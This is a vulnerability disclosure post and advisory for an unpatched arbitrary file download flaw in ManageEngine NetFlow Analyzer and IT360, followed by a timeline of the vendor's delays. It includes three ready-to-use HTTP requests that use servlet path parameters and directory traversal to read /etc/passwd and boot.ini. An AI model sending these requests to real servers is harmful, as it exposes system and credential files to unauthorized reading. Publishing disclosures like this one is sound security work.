This is part 9 of the ManageOwnage series. For previous parts see [1].

Today we have yet another 0 day - an arbitrary file download
vulnerability that be exploited unauthenticated in NetFlow Analyzer
and authenticated in IT360.
I'm releasing this as a 0 day because ManageEngine have been making a
fool out of me for 105 days. I have asked them "are you releasing a
fix soon?" at least a couple of times every month to which they always
responded "yes we will release in the next week/month". And then they
don't release the fix nor provide an explanation. See the advisory
timeline below for details.

An Metasploit auxiliary module that exploits this vulnerability has
been submitted to the Metasploit Framework Github repo in [2].

A full copy of the advisory below can be obtained from my repo in [3].


>> Arbitrary file download in ManageEngine Netflow Analyzer and IT360
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
Disclosure: 30/11/2014 / Last updated: 30/11/2014

This is being released as a 0-day because ManageEngine have been
twiddling their thumbs (and making a fool out of me) for 105 days. See
timeline below for explanation.

>> Technical details:
Vulnerability: Arbitrary file download
Constraints: unauthenticated in NetFlow; authenticated in IT360
Affected versions: NetFlow v8.6 to v9.9; at least IT360 v10.3 and above

GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd
GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true

GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini

All 3 servlets can be exploited in both Windows and Linux. A
Metasploit module that exploits CVE-2014-5445 has been released.

>> Fix:
UNFIXED - ManageEngine failed to take action after 105 days.

Timeline of disclosure:
- Requested contact via ManageEngine Security Response Center.

- Received contact from the NetFlow Analyzer support team. Responded
with the security advisory above detailing the vulnerabilities.
- Further back and forth explaining the vulnerabilities, how to
exploit them and their impact.

- Requested information regarding the release date for the fix.
Received response "We do not have a ETA on this, I will check with our
engineering team and update you."

- Requested information regarding the release date for the fix.
Received response "We expect that the new release will be within the
next couple of weeks".

- Requested information regarding the release date for the fix.
Received response "Our new release will be happening early by next
week, you can get the update in our NetFlow Analyzer website".
- Asked if they are sure that the fix will be included in the new
release. Received response "yes you are correct, the issue that you
have specified is fixed in new release".

- NetFlow Analyzer version 10.2 released - still vulnerable.
- Sent an email to ManageEngine asking if they are going to release a
fix soon. Received response "We will release the PPM file of the
upgrade soon, in which we have fixed the Vulnerability you mentioned".

- Requested information regarding the release date for the fix.
Received response "You can expect the release before this month end".

- Requested information regarding the release date for the fix.
Received response "The PPM file is in testing phase and will be
released in next Month".
- Asked if they can commit to a date. Received response "the ppm is in
testing phase now, as it is one of the major release, we will not be
able to give an exact date of release".

- Realised that ManageEngine have been playing me for 105 days, and
immediately released advisory and exploit.
